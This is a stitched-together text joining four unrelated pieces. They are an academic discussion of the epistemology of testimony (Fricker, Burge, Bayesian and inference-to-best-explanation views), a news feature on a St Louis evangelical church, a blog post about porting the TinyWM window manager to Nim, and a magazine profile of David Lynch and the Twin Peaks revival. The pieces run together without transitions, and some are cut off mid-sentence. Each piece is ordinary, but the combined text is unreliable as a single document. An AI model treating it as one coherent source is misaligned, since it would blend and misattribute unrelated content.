the trustworthiness of members of epistemic communities is the ultimate foundation for much of our knowledge. (Hardwig 1991: 694, Webb 1993, Govier 1993, Baier 1994, Holton 1994, Shapin 1994)
In opposition to this fragility claim, we enter testimonial settings with background beliefs that amount to powerful evidence to trust the word of the speaker, though it need not be evidence specific to that setting, prominently, that this particular speaker is trustworthy.(Adler 1994, 2002)
Elizabeth Fricker (1987, 1994, 1995, 2004, 2006) argues for a reductionist and internalist justification for particular (local) testimonial exchanges, in which testimony is taken as inferential or indirect, by contrast to perception which she takes as providing a direct justification for corresponding beliefs. She is skeptical of a global reductionist thesis to establish the general reliability of testimony. With qualifications, Fricker denies that we are entitled to default-accept the reliability of testimony, although she does think a default applies to judging the sincerity of the speaker. She regards any rule like the DR as “an epistemic charter for the gullible and undiscriminating.”(1994 126) Fricker claims that hearers can obtain independent evidence to confirm the belief that a speaker is trustworthy. She stresses that “insincerity and honest error are both perfectly possible”:
a hearer should always engage in some assessment of the speaker for trustworthiness. To believe what is asserted without doing so is to believe blindly, uncritically. This is gullibility. (145)
Later, explicitly contrasting her view with an analogue of the DR [the PR thesis], she writes that
My account requires a hearer always to take a critical stance to the speaker, to assess her for trustworthiness;…on my account, but not on the PR thesis, the hearer must always be monitoring the speaker critically. (1994 154, 1995)
However, if the critical monitoring required is only the ‘counterfactual sensitivity’ that “if there were any signs of untrustworthiness, she would pick them up” (154, 1995, Weiner 2003), so that no special efforts are required of hearers, her differences with those who uphold the DR or a minimal anti-reductionist thesis seems to vanish. If, instead, special efforts are required by the hearer, and if our actual practice is in accord with the DR and the Uniformity claim, it is doubtful whether her proposal meets the Infeasibility of Checking claim. (A difficulty that applies as well to contextualist approaches like that of Jones 1999 or Kusch 2002.)
The role of prior plausibility or probability at the heart of a Humean view of testimony can be turned into a Bayesian justification of testimony. Based on Friedman's (1987) analysis for legal settings, Goldman (1999 4.2–4.4) presents the following model: Given that a witness testifies to a fact X, what is the probability of X? The answer, given by Bayes' Theorem, is that it is a function of the likelihood that the witness would so testify, if the fact X held, and the prior probability of that fact. If the likelihood of the testimony is greater given X than not, then testimony raises the probability of X compared to its original or prior probability. As is typical of Bayesian analyses, a key question is how individuals are to estimate the various likelihoods and to secure the prior probabilities. (Friedman 1987, Goldman 1999)
Also along Bayesian lines, Goldman (1999) applies a related theorem of his and Shaked (1991) to testimony. The theorem establishes that under certain conditions (e.g., that there is an objective likelihood that the witness will testify that p, if p) one's posterior degree of belief will reflect an objectively greater nearness to truth than one's prior degree of belief.
If testimony is based on enumerative induction, it requires verification of the assertions that hearers' accept. These verifications will themselves appeal to testimony for corroboration. Even if this kind of circularity is acceptable, the correlations alone do not seem strong enough to justify our conformity to the DR and to the Uniformity claim. But instead of relying just on extrapolation from the correlations, inductive inference can take the form of inferring to the best explanation of why testimonial transmission works as well as it does.
Inference to the best explanation (IBE) is particularly powerful in science as justifying inferences from observational surprises or puzzles to the existence of theoretical entities to explain them e.g., to explain why ice floats on water by appeal to atomic bonding. The role of IBE in testimony is straightforward. Normally, if a stranger responds to your inquiry as to how to get to New York University by uttering “Take the downtown A or E train to West 4th”, the best explanation of why he said that is that he believed it and that he cared to inform you of it. The inference is mutually supportive of the counterfactual we assume as hearers:
S wouldn't have asserted that p to us unless she believed she knew p and she wouldn't have that belief if p weren't the case. (Harman 1965, Fricker, 1995, Lipton 1998, Schiffer 2003)
If IBE provides sufficient reason to accept the speaker's testimony, it may be argued to obviate the need for the DR. The hearer treats the stranger's uttering what he did as evidence of what he believes or what he believes that he knows. The inference involves no explicitly normative notion, yet it yields the same pattern of virtually automatic acceptance of testimony in normal settings. I will refer to the appeal to IBE as providing a non-normative a posteriori justification for testimony as the “IBE view”.
Is the IBE view sufficient to meet the Uniformity claim—that hearers overwhelmingly accept testimony? If we rely on IBE alone, then natural individual differences, particularly in willingness to trust speakers in various settings, should result in much more diversity in our response to testimony than accords with the Uniformity claim. A plausible reply: The variation is absent because IBE goes so smoothly, at least in the core cases, that all individual and circumstantial variations are swamped by the solidity of the inference.
Yet, underlying this ‘best explanation’ are deeper ones for why hearers readily apply IBE. The best explanation of why instances of testimonial transmission lend themselves to the above IBE is that the conversational practice is governed by the background conditions and constraints discussed above section 6, which do affirm, and depend upon, various normative relations.
Typically, when we infer abductively to a hypothesis as most plausible to explain some observations, we are not then in a position to accept that hypothesis as true, rather than as only worth further testing. Only with subsequent confirmation from those tests are we positioned to accept it. If testimony diminished in reliability—if there were more lies and errors, though still far from a dominant-–it may still be that the best explanation of why a speaker said what he did remains as above: that he believed it because it is true. If a stranger gives me directions to take the A or E train downtown, and I recall hearing that there was smoke reported on a subway line in the area, then, even if my memory is vague, I still have a specific reason to object, and so I am entitled to challenge the stranger. Nevertheless, I do not thereby doubt that the best explanation of why he said what he did goes according to the above IBE, I, as hearer, require not just that claim as the best explanation, but that it is the actual one. (See Lipton 2004 on the difference between inference to the loveliest and inference to the likeliest hypothesis.)
Coady's critique of reductionism and his Davidsonian a priori defense of it is only one of a number of forceful anti-reductionist approaches to explaining the warrant for testimony.
In a foundational article on the subject, Burge (1993; 1997) offers an a priori defense of a variant of the DR. His “Acceptance Principle” is a fallible, easily defeasible norm which only describes our epistemic condition. Its pivotal epistemic term is entitlement, which he contrasts to justification,
A person is entitled to accept as true something that is presented as true and that is intelligible to him unless there are stronger reasons not to do so. (1993, 467)
The “Acceptance Principle” is comparable to Davidson's (1984) “Principle of Charity” and Grice's (1989) “Cooperative Principle” in endorsing the hearer's starting point for comprehension as favorable to the speaker's assertions, or corresponding beliefs, as correct. The hearer does not begin in the neutral position of treating the speaker's assertion, and his asserting it, as requiring evaluative certification as a condition on its acceptance. The entitlement is conferred on the hearer by the nature of the testimonial setting, it applies independent of whether the hearer has either any epistemic reasons to trust the speaker or sensitivity to the trustworthiness and reliability of the speaker.
The argument disassociates the Acceptance Principle from essential, epistemic, dependence on perception or memory. These only serve as sources to preserve content (Burge 1997, 28; responding to criticisms of Christensen and Kornblith 1997; for other criticisms, Audi 2004). Burge summarizes his argument as follows:
We are apriori entitled to accept something that is prima facie intelligible and presented as true. For prima facie intelligible propositional contents prima facie presented as true bear an apriori prima facie conceptual relation to a rational source of true presentations-as-true: Intelligible propositional expressions presuppose rational abilities and entitlement; so intelligible presentations-as-true come prima facie backed by a rational source or resource of reason; and both the content of intelligible propositional presentations-as-true and the prima facie rationality of their source indicate a prima facie source of truth. Intelligible affirmation is the face of reason; reason is a guide to truth. We are apriori prima facie entitled to take intelligible affirmation at face value. (Burge 1993: 472–473)
Burge's reasoning applies beyond testimony, as becomes clear in responding to an objection to his argument. The objection is that if the intelligibility of the speaker's affirmation depends upon the structure of the communication mechanism, and if that mechanism is inferential, then an empirical, non-purely preservative mechanism, would be required for understanding, contrary to Burge's claim of an a priori entitlement (Bezuidenhout 1998). However, since even if the hearer directly or non-inferentially grasps the speaker's meaning, the epistemological question — of what entitles or justifies belief — remains open, the actual nature of intentional-communicative understanding can be abstracted from for epistemological purposes. If, as a matter of fact or idealization, the intelligibility of the speaker's contribution is not dependent on the specifics of the comprehension process — if the a priori entitlement resides in the speaker's reason — Burge's argument should reach beyond testimony to beliefs generally, since it is beliefs themselves which are affirmed and which purport to respond to reason.
Even if, though, the scope of Burge's argument is as far-reaching as just proposed, the entitlement it confers is extremely modest. The entitlement conferred by Burge's Acceptance Principle requires "empirical supplementation" to meet the usual run of specific counter-considerations. (Burge 1997, 23) Without empirical supplementation, normally highly implausible possibilities of error become undermining reasons. A stranger gives me directions. Assume that the salient reference class to which he belongs is of informants with a distinctive trait, who gave me bad directions previously (e.g., those who spoke with a New York accent). If I cannot isolate that failing and show its irrelevance to the present case, then my belief that the stranger is a member of that reference class is enough to override, or to defeat, my entitlement. Against the background of our common, however, empirical knowledge, which Burge's entitlement cannot draw upon, this possibility is not a serious one.
Burge's argument begins with a contrast between justification and entitlement. Justification calls for the articulation of one's reasons. These reasons must be accessible to conscious understanding. This demanding notion of justification explains why Burge thinks that the positive-bias or default proposal can be defended only on a priori grounds. Presumably, Burge takes us not to have access to background knowledge of empirical reliability, since we can not uniformly articulate that knowledge in defense. But must the reductionist or the epistemic internalist endorse the articulation and accessibility requirement, which assumes that nothing can be a reason for an agent that is not available to his present conscious self?
Our cognitive or epistemic activities have (Reidian) presuppositions not only of trust in perception or memory, but of oneself (Lehrer 1997). From this presupposition of self-trust a parity or consistency argument can be developed to trust the word of others (Gibbard 1990 Ch.9, Foley 1994, 2001 part 2). For if we trust our own beliefs, as we do, we ought to trust the beliefs of others, since we rely on others for our own opinions and
it is reasonable for me to think that my intellectual faculties and my intellectual environment are broadly similar to theirs. (Foley 1994, 63)
As stated, this |
meetings in this ale house I visited.
Well, any trip to the pub is a religious experience for me. And at a time when most Americans are demanding that politicians listen to them, I was keen to meet one group who were anxious to step back from the megaphone.
With his scruffy-smart demeanour and fashionable horn-rimmed glasses, Darrin Patrick looked more like a Hoxton web designer than a Southern Baptist pastor.
He told me how much he loved Radiohead and Arcade Fire. Earlier in the week, he said, he'd been to an "awesome" Foo Fighters gig.
In Britain, we tend to be cynical about anyone who tries to marry popular culture with faith. I come from a country where "trendy vicar" is a term of derision (and one which was regularly lobbed at guitar-strumming Roman Catholic convert Tony Blair).
But Darrin genuinely seemed equally at ease in both worlds. And in a county where religious belief is so widespread, it's hardly surprising that young Americans might look for a connection between the secular and the sacred.
He told me how he had found his faith as a teenager when, during one week, he was suspended from high school for fighting, kicked off his football team for drinking, and led to believe that he might have got his girlfriend pregnant.
He'd set up the Journey appeal to people like his younger self. Six years on, over 2,000 people were now attending regularly.
An equal proportion of them were Republicans and Democrats, Darrin said. Some were motivated by concern for the poor, others by individual responsibility. It wasn't his job to tell them how to vote, he said; in fact, to do would be a breach of responsibility.
Instead, he told me that his priorities were social justice and community action. Journey members worked in St Louis's inner-city schools as well as with immigrants, people with HIV and single mothers. Putting Christian principles into practice was what evangelicals should be doing, he insisted, not getting mixed up in party politics.
"If you sell out to the right or the left, you sell out Jesus," he said.
"Go to certain evangelical churches and they're all conservatives. But I think the church needs to follow Jesus and stay right in the centre."
Richie Cook, a 22-year-old Bright Eyes fan, agreed wholeheartedly. He had felt alienated from conventional churches when he studied for a theology degree at university.
"I met people living Christian lives who were secretive and hypocritical and..." he searched for the right word. "Mean, to be blunt.
"I didn't want anything to do with Christianity. But I couldn't get away from the fact that I believed in God."
After discovering the Journey, he said he'd finally found a home in the church. "I do care more about social justice and issues that deal with how it affects people," he said. "That's what motivates me."
He wasn't the only one. Kristin Guilliams, 28, a paediatric neurologist was still making up her mind about how to vote.
But she said that issues like the economy were more important to her than the kind of topics that were meant to excite evangelicals.
"I think that morality is something that shouldn't be legislated for," she told me.
"Abortion and marriage are things that are better left to individuals' conscience."
Religion and politics might seem inextricably linked in the US for now. But if Darrin gets his way, one of the great certainties of American elections could be undermined.
(1) www.journeyon.net13th June 2016 - Window Manager, Nim, Programming
Lately I've been toying with the idea of creating a window manager for Linux. It's not that there is a lack of them, rather quite the opposite, the Linux world is full of them. But suffice to say that I have some ideas which I think would be a welcome addition and I've started tinkering with creating my own. If for nothing else it would be an interesting challenge. However to create a window manager you need to have some insight into how the whole system of windows and displays works in Linux. This can be a pretty daunting task, there is a lot of documentation written on the topic and most of it is incredibly dry and technical. While I don't have anything against dry and technical documentation when I'm looking for specific pieces of information it's not exactly something you'll find yourself reading for fun. So in order to get a glimpse into the world of WM creation without reading through tonnes and tonnes of information I decided to create an implementation of TinyWM.
So what is TinyWM?
TinyWM is a C program of no more than about 60 lines that interfaces with Xlib and implements some of the most rudimentary functionality a window manager needs. It allows the user to scale windows, move them around, and bring windows to the front of the window stack. It's not very practical and I doubt many people actually use it for anything productive but it serves as a nice example and starting point for WM creation. In fact quite a lot of projects have had their starting point with TinyWM. Many people have already ported it to various languages but my language of choice for this exercise was Nim.
So what is Nim?
Nim is a programming language which makes a nice compromise between low-level and abstraction. In it's normal form it compiles down to C which allows it to leverage the optimizations and portability the C compilers have achieved over the years. The fact that it compiles down to C also means that interfacing with C is a breeze. Nim can call C libraries, and C can even call Nim libraries. Along with this it gives you a soft real-time garbage collector which can be manually controlled and offers a syntax that makes it a joy to use. It also has some pretty extraordinary meta-programming capabilities allowing the programmer to change and extend it in a way that suits their needs. I will probably make a post sometime in the future about the merits of Nim but for now I can warmly recommend learnxinyminutes.com which has a neat overview of some of the syntax and features.
The implementation
But enough beating around the bush, for those who simply came here for the implementation here it is. It clocks in at around 60 lines like the original, however this could be decreased further if a more idiomatic approach was taken. Because of the Nim/C compatibility the code looks almost exactly the same as well. Some things were done differently between the versions, some caused by the Xlib wrapper not working in exactly the same way as the original, some simply stylistic. But all in all it's pretty much the exact same code. You might also notice at the top that there are some converter functions, these allow Nim to automatically convert types that wouldn't strictly be allowed to be passed to the Nim functions. Notable is the boolean converter functions which converts the Xlib boolean to Nim boolean since C itself has no concept of a boolean type. The import statements at the top are simply for some thin wrappers around the C interface functions to make the C integration completely seamless.TV David Lynch in the Beautiful World of Twin Peaks Seventy-one years after David Lynch’s debut in Missoula, 40 years after the premiere of Eraserhead, and 25 years after Laura Palmer said good-bye to Special Agent Dale Cooper, the most daring auteur in Hollywood goes to the one place that seemed off-limits.
The Darkest, Sunniest Director in America
They all talk about him the same way.
“He kind of hypnotizes you.” —Sherilyn Fenn, porcelain ideal of Lynchian beauty
“There’s nothing bigger than David. We all submit.” —Jim Belushi, new to the Lynch universe
“It just makes me smile when I get to see him.” —Sheryl Lee, Laura Palmer
“He breathes through the moment, and everything is alive in that moment.” —Laura Dern, five-time collaborator who has “spent [her] life working with him.”
“I felt tremendous gratitude to be there, seeing his face.” —Kyle MacLachlan, on-screen alter ego
“He was just radiating warmth and friendliness.” —Michael Cera, who’s in Showtime’s Twin Peaks reboot with the rest of them
“You just fall into that love for him.” —Naomi Watts, returning muse
“Today is a torment,” David Lynch says, tugging melodramatically at the collar of his shirt like a kid who’s been forced to stop digging up worms and put on stiff church clothes. The flash of a neon yellow watch hidden beneath a black suit sleeve offers the sole ray of the playful, beatific sun god who’s been gushed over in brochure-worthy terms by all his friends and collaborators. Here in the penthouse of the Chateau Marmont, Lynch seems cornered, physically resisting interrogation by folding up like an insect. When Lynch is asked a question about himself, his eyes squeeze shut. He bows his head and clasps his hands, somewhere between prayer and severe pain. Not surprisingly for an auteur whose work is defined by its elliptical mystery—from early lo-fi creepfest Eraserhead to humanity-is-the-real-freak-show allegory The Elephant Man to sapphic showbiz horror Mulholland Drive to the reason he’s being tortured today, Showtime’s 18-part revival of Twin Peaks—David Lynch really hates explaining things.
What’s more, Lynch complains, he had to get all dressed up for this inquest, which meant the arduous task of emptying the stuff from the baggy khakis he wears every other day and placing that stuff into a whole new set of pockets. There’s the suit, which necessitated putting on a tie, an interloper to his strict uniform of a white dress shirt buttoned to the top. Even Lynch’s hair—a volcanic-ash cloud the musician Questlove describes as “the cool white-guy version of Bobby Brown’s Gumby with a flip”—has begun to droop from the sheer exertion of so much self-examination.
For someone who has been practicing Transcendental Meditation since 1973 and adheres to the Maharishi Mahesh Yogi’s reported belief that “life is a festival of disruption” (even borrowing the phrase for the name of his recent two-day event at L.A.’s Ace Hotel), Lynch doesn’t seem particularly jazzed about today’s upset of the natural order. It’s clear he’d rather be anywhere else, doing the things he normally does: filmmaking or building furniture, taking photographs of burned-out warehouses or painting nude women wielding electric knives. Anything that might give him the comfort of humdrum routine. And absolute control.
Of course, anyone who’s seen Lynch’s work knows that control is just an illusion. That the safe routines of your existence can be disturbed at any time by a mysterious stranger breaking into your home, an unexplained videotape turning up on your doorstep, a severed ear discovered in a forest clearing, GQ asking you to do a photo shoot. This sudden meeting of the mundane and the macabre, often set in cheerful, terrifying daylight, is the classic “Lynchian” twist. It’s the moment when the mask of life’s banality slips to reveal the labyrinth of madness that was always just underneath, when Dennis Hopper bursts into your living room all hopped-up on amyl nitrite, screaming about shitty beer. “A kind of a honeycomb world—an underworld that exists simultaneously with the reality we see with our eyes every day,” says Twin Peaks star Ray Wise. This is the place where David Lynch’s work lives.
You would probably expect the person who shows us these things to be dark himself, a brooding cross between Rod Serling and Edgar Allan Poe, a psychological sadist who runs his sets like a B. F. Skinner experiment. But when I first meet him, he literally greets me with an unironic “Howdy!” And all of David Lynch’s co-workers gush that when he is not politely enduring questions about his oeuvre, he is “warm” and “sunny and cheerful.” Mulholland Drive star Justin Theroux explains that “he’s got a very sort of sparkly persona. You want to be underneath that safety umbrella that he creates.”
He is also, as musician and new Twin Peaks cast member Sky Ferreira puts it, “actually really funny.”
Sounds like a great guy to hang with! So what does David Lynch find funny, anyway?
“Everybody loves to laugh,” Lynch says, body clenched and eyes winced shut. “Larry David is great. Albert Brooks. Mel Brooks.”
And then, the Lynchian twist.
“I like girls that cry.”
Murder in the Woods
“I would have little fantasies: ‘ Twin Peaks will come back and I’ll live happily ever after.’ And [then David’s] like, ‘It’s true, Sherilyn Fenn. We’re coming back. And it’s gonna be great, and it’s gonna be all of us.’” —Sherilyn Fenn, Twin Peaks, Wild at Heart
“I said, ‘If you do choose to revisit it, don’t forget me.’ And he said, ‘Well, Ray, you know, you’re dead. But perhaps we can work around that.’” — Ray Wise, Twin Peaks
It’s been more than a quarter-century since Lynch last filled our living rooms with hilarious crying girls, back when he first partnered with Hill Street Blues writer Mark Frost to ground his dreamy abstractions into something ABC could cut commercials around. Network executives suggested something like Peyton Place. Instead, the duo delivered a Dickensian delirium, a two-season network drama where the murder of beloved homecoming queen Laura Palmer unraveled a sleepy logging town’s secret connections to demons and alternate dimensions. It was a treatise on the monsters lurking just beneath the placid surface of American life. And it was a show whose willingness to be downright maddening, embrace of art-house surrealism, and DMT-hallucination-of-Happy-Days aesthetic would forever change the prevailing wisdom about what people would watch on television. Since the series’ 1991 cancellation, its DNA has lived on in every show from The X-Files to Lost to Mad Men to approximately 98 percent of small-town murder mysteries. And Lynch has spent those intervening decades being begged relentlessly by Twin Peaks’ fans—not to mention its cast and crew—to return.
The revival of Twin Peaks marks Lynch’s return to filmmaking after the longest break in his career; he hadn’t released anything high-profile since 2006’s Inland Empire. So why now? Well, there is the fact that, in the show’s finale, Laura Palmer meaningfully tells her would-be avenger, Agent Cooper, “I’ll see you again in 25 years.” “I sense that David takes numbers and numerology very seriously,” says Showtime president David Nevins, who shepherded the series’ return. “And that kind of promise, he feels some desire to fulfill.” It’s a tidy explanation, except Lynch says he didn’t even remember that detail until Frost pointed it out to him.
Really, there’s only one reason David Lynch does something: He wants to. “He doesn’t do anything he’s not feeling,” says Laura Dern, who will join Twin Peaks in one of many new mystery roles. “I’ve watched him write a wonderful movie and put it to the side. And maybe ten years later, he’s like, ‘Oh, I might be feeling that movie again now.’ ”
According to Frost, Lynch finally came around to feeling like going back into the Pacific Northwest woods over one of their semi-regular lunches at the Musso & Frank Grill in Los Angeles. Frost and Lynch had a falling-out over the 1992 film follow-up, Twin Peaks: Fire Walk with Me, with Frost maintaining it should be a sequel and Lynch wanting to revisit Laura’s final seven days, with some crazy David Bowie stuff thrown in. (Guess who won that fight.) But Frost says he’s never stopped thinking about the strange “child” they had together, even recently giving it a uniquely fucked-up family album in the form of The Secret History of “Twin Peaks.” (Lynch hasn’t read it. “It’s his history of Twin Peaks,” he insists.) The pair spent nine months talking over Skype before actually getting down to writing, drafting one long script that they then broke up into 18 parts, each lovingly and obsessively directed by Lynch.
Twin Peaks wouldn’t exist without Frost, of course. But even he is clear about who is in control: “I haven’t seen the finished product yet. David’s still working.”
A Safe and Beautiful World
You know that [the artist] is putting your color into that creation for a reason. You don’t know the reason, as the dot of red paint does not know why it is [in a painting]. But David Lynch knows why it’s there. —Robert Forster, Mulholland Drive, the new Twin Peaks
My dresser on ‘Twin Peaks,’ someone who hasn’t worked with David, was like, “Do you want to pick an earring?” I’d say, “Let’s bring a tray of colors to David and let him paint.” —Laura Dern, Blue Velvet, Wild at Heart, Inland Empire, the new Twin Peaks
There’s one scene that I have to go and chew out a couple of big, heavy guys in the park. He was screaming, “Ya go out there and ya grab ’em by the balls and ya just chew ’em out! Just chew ’em out like you’ve never seen any big grown men so scared in their lives!” —Naomi Watts (who, it must be said, does a damn fine David Lynch impression), Mulholland Drive, the new Twin Peaks
“I like to make a feeling that’s very friendly and safe so they can go out without a lot of fear,” Lynch says of cheerfully sending his actors to act out nightmares. Like any good friend, he rigorously dominates every aspect of the process, including eliminating the stress of knowing what’s going on. Most returning cast members say they first heard on the Internet that the show was being revived and e-mailed Lynch, who confirmed with a simple “I’ll be seeing you very soon in the beautiful world of Twin Peaks.” Newer additions—like Jim Belushi, Michael Cera, Robert Forster, Sky Ferreira, Naomi Watts, and even his “best friend,” Dern—were hand-delivered scripts with blacked-out pages and only given their locations the day of filming. Nothing sparks the magic of filmmaking like spontaneity and a deep suspicion of the outside world.
“There isn’t really a need to have everybody read the whole script,” says Lynch. “So they get their scenes. And when we work together, they ask many questions, and they get answers.” Or as he put it to me in a perfectly Lynchian adage: “People get what they need.”
Watts calls this process “a game of guessing and torture, but in a sort of pleasant way, and then not knowing becomes part of the fun.” Like any functional S&M relationship, this game depends on an unusual amount of trust. “He might say something simple, like ‘Slower.’ Or ‘There’s a wind,’ ” explains Kyle MacLachlan, sort of. MacLachlan’s Agent Cooper is just one of Lynch’s many alter egos he’s channeled since the two first slogged through 1984’s epic staring contest Dune. By now they’ve developed such a connection, MacLachlan says, they’ll often just stand in silence after a take, getting notes from the breeze.
“It’s whole notes and rests,” Belushi says of Lynch’s peculiar rhythm, recalling how the director walked him through a breakfast scene with Belushi’s top-secret character. (Let’s be real: He’s probably some kind of cop.) “He said, ‘Jim. He does this every morning. He loves his coffee. He pours his coffee. He wants to make sure that the cream is the right amount of cream in his coffee. He wants to make sure there’s the right amount of milk to the cereal. He doesn’t want it too soggy. He wants it crisp.’ ”
People get what they need.
Chilling Out
[We had dinner, and] he told me a humorous story of a failed investment in Michael Jackson’s soda company. I was on the fence about meditation, and he convinced me that is the way to go. Best decision I ever made in life. —Questlove, Festival of Disruption performer
I had done a four-day Transcendental Meditation course, and on the final day, a young woman named Pookie said, “Would you like to meditate with David Lynch sometime?” —Michael Cera
I was sobbing to him about all my issues, and he gleefully said, “Sherilyn Fenn, you’re a mess! You have to learn TM!” —Sherilyn Fenn
Lynch’s tranquil way of working is a natural outgrowth of his practice of TM, which he’s become one of the world’s most famous proselytizers of. In 2005 he created the David Lynch Foundation to share its benefits with people all around the globe, preaching meditation as the solution to war, heart disease, writer’s block, not getting callbacks—all of life’s myriad problems. That includes the stresses of producing one of the most anticipated TV series in recent memory. As a result, most of Lynch’s ensemble tends to speak of working with him as less film shoot than New Age spa retreat—someplace they find their bliss by performing life’s deepest fears and cruelties for premium cable.
That intense universal love for David Lynch is rare for auteurs—particularly male auteurs—known for their shitty relationships with actors. Erich von Stroheim reportedly ran his shoots like military campaigns, screaming about extras’ wristwatches. Hitchcock allegedly sexually harassed Tippi Hedren before he sent live birds to peck at her face. David O. Russell was a dick to Amy Adams. Film history tells us that getting the perfect performance usually requires at least a little abuse.
“If it works for ’em,” David Lynch says, laughing. “I’d like to think they could get the same thing without being abusive. A lot of businesses are run on fear, and I think it’s really bad. People live in fear, and they carry that stress home. Their wife or husband feels that. The little kids trembling, worried that the father’s worried or mother’s worried. I think it’s money in the bank to get a good feeling going in the world.”
“We’re super-special beings! We really are! And we have a glorious future-if only we could realize that and grow rapidly toward that, it would be beautiful.”
Naturally, after 40 years of creating those good feelings, there is a sense of a great cosmic debt to be paid. Watts implies that it cost her financially and emotionally to move her family cross-country just to be back under what Justin Theroux calls Lynch’s “umbrella.” The original cast of Twin Peaks say they have a standing “just tell me where to be” response to whatever Lynch might be working on. It’s a lasting, loving bond that Fenn calls Lynch’s “sacred family.” Still, Lynch rejects any sort of deeper, mystical connection: “It’s nice when the right person for the role is someone you’ve worked with before,” he says, “but just because you’ve worked with someone before doesn’t mean that they’re right for the part.”
It’s as if David Lynch is just a regular dad who keeps a safe, disciplined home waiting for when his kids come back to visit and play murder in the forest. But what makes him able to recognize a new member of his sacred family?
“It’s a bunch of things.” Lynch shrugs. And, of course, the Lynchian twist: “It’s their fate.”
The Untortured Artist
He’s not necessarily the guy next door. —Mark Frost
We’re all kind of weird. He’s just not afraid to show it. He thinks it’s beautiful. —Sherilyn Fenn
Look for any hint of the darkness that pervades Lynch’s work in his personal life and you only end up grasping at speculation. Lynch has repeatedly rejected the whole “tortured artist” myth as a lie, declaring that suffering actually impedes creativity. (Though he did once admit to seeking therapy, only to walk out on it after being told counseling might affect his work.) The one thing David Lynch will cop to, here and now: “I don’t like to go out. I have a bit of agoraphobia.”
True, Lynch has been married to four different women, which suggests he’s been unhappy at least three different times. Yes, there are those fabled ritualistic compulsions—wearing the same clothes every day, eating the same meal, plus the constant smoking and refusing to allow cooking smells in his house—all of which suggest he might be, at the very least, a terrible roommate.
There’s also the fact that he seems to spend as much time as humanly possible working. “He really is making art 24 hours a day,” Dern says. “You’re at his house, and if he’s not cutting or writing or shooting, he’s in the woodshop making furniture, or he’s painting, or he’s filming birds, or telling the weather.” (In the mid-2000s, Lynch occasionally released online weather reports—“Here in L.A., beautiful blue skies. Some puffy white clouds”—that reclaimed meteorology for the Dadaists.) Between this and the TM and the rites, it sounds like Lynch does everything he can to banish the opportunity for that darkness to creep in.
Of course, the best evidence that Lynch hasn’t fully beaten back the shadows lies in his work, which tends to linger in the viewer long after, imbuing their most banal interactions with a sense of portent. (See: Blue Velvet, or Lost Highway—or anything, really—and never look at your neighbors the same way again.)
One of Lynch’s favorite formative anecdotes from his idyllic suburban childhood involves looking closer at the cherry trees that dotted his picket-fence world and noticing the angry red ants swarming over oozing black pitch. Surely, beneath all of Lynch’s serene rhapsodizing about “safety” and “joy,” there have to be some dark insects crawling in the sap?
“Elizabeth Taylor said, ‘Oh, I love blue velvet! Come here.’ And I just saw these violet eyes and these lips coming up at me, and I went down and down and down and down.”
“David is an artist who I think has struggled with a lot of things, and I think he’s made a lot of art out of his struggle,” Frost says, not unconvincingly.
When I put Frost’s assertion to Lynch, there is a slight pause, but he doesn’t squeeze his eyes shut this time; instead he stares at the floor and, for the first time in our conversation, seems genuinely thrown.
“What did he think I struggle with?” he says thoughtfully. “That’s interesting. That’s beautiful.”
So he has no idea what Frost is talking about?
Lynch shakes his head. “I really love life and am very happy,” he says. “I’m wondering what he knows that I don’t know.” He adds, “You know, a lot of times when people say these things, they’re really talking about themselves.”
So if he’s not living in some secret anguish behind that Eagle Scout exterior, then where are all the rapes and murders and backward-talking dream dwarfs coming from? From whence the Lynchian inspiration?
“They say it comes from the unified field—everything—and there are billions of ideas. Billions!” Lynch says, finally relaxed now that we’ve moved away from talking about him and into metaphysics. “The full potential of a human being is unbounded consciousness. But if the conscious mind is fairly small, your ideas could be bubbling up, but you don’t know ’em until they enter the conscious mind. And that’s why in the cartoons they have a lightbulb going off. Boom! You see it. You just caught it. It’s beautiful! And they can be any kind of things, but if it’s a cinema idea, it’s beautiful. You fall in love for the way cinema could say that idea. It’s a beautiful day.”
Miles Deep
He always wants to tell us who we really are. We need David to tell us. Who are we, really? Part animal, part businessman, part wacko. He knows. —Mel Brooks, producer of The Elephant Man
Everyone from acolytes to fellow icons seems to think Lynch holds the key to all of life’s mysteries. So toward the end of our conversation, I ask him the question that Mel Brooks says only Lynch can answer, though I’m not sure which Lynch that will be. The meticulous craftsman? The benevolent father figure? The serene mystic? The man who loves to kick back with the sound of crying girls?
Who are we, really?
Apparently, Lynch has just been waiting for me to bring it up.
“We’re super-special beings!” He says, eyes fully lit up now. “We really are! And we have a glorious future—if only we could realize that and grow rapidly toward that, it would be beautiful. The key to it is the transcendent—this deepest, eternal level of life, the big treasury within every human being. When any one human being experiences that deepest level, they grow in that—all positive—and life gets better. And they’re truly unfolding their full potential. The key to peace in the world is there. We’re special beings with a great future, great potential, and we’re supposed to enjoy life. They say the purpose of life is the expansion of happiness—beautiful description of what it’s all about. It’s real simple. We’re not meant to suffer. We’re meant to be blissful and enjoy life and enjoy all diversity.”
But suggest to Lynch—even by the virtue of the fact that he actually just said that shit—that people tend to regard him as some kind of otherworldly swami, and he demurs.
“I’m a regular person,” David Lynch says. “I do regular things.”
If you only know him from his work, this is as believable as Lynch’s declaring himself Morpheus, god of dreams, and offering me some phenobarbital with the promise I will begin now the Sleep of Ages.
But sit with him, incredibly nice and unfailingly polite in the classic sitcom-neighbor mode, and David Lynch seems as safe as ultra-pasteurized milk. When you’re in his presence—even when you’re pitilessly lashing him with question after question—he really does make you feel at peace. Just two human beings exploring this topsy-turvy unified field together.
And therein lies the secret to David Lynch’s “cult.” He commands such devotion because he is the rare filmmaker who exerts incredible control without being a huge dick about it. Whose collaborators trust him because he gives them a safe place to exorcise the darkness hiding in the daylight of their lives. And yeah, because he’s one of the most skilled filmmakers ever—a visionary who can take something as terrifying as fatherhood and turn it into Eraserhead, a magical, crowd-pleasing romp in which a lady in a radiator tap-dances on sperm.
As we stand to go, Lynch notices a black-and-white photo of Elizabeth Taylor on the wall. “Hey, come over here!” he says before launching into a tale of the time he met Taylor, flanked by George Hamilton and John Huston, at Swifty Lazar’s Oscar party. Lynch told her he wished he’d won the Oscar for Blue Velvet, because Oliver Stone, who did win, got to kiss her. “She said, ‘Oh, I love Blue Velvet! Come here.’ And I just saw these violet eyes and these lips coming up at me, and I went down and down and down and down,” Lynch says, slowly bending over to demonstrate. Then he straightens and—in a tone one might use to describe a decent sandwich—declares of one of the most gorgeous women ever to walk the earth, “Her lips are miles deep.”
It’s a dreamlike moment—an out-of-time sequence in which two Hollywood icons meet in the smoke-filled ether to share a kiss while the grinning sienna specter of George Hamilton looks on. You can practically hear the sultry, morphine drip of one of Angelo Badalamenti’s scores playing in the background as Lynch tells it.
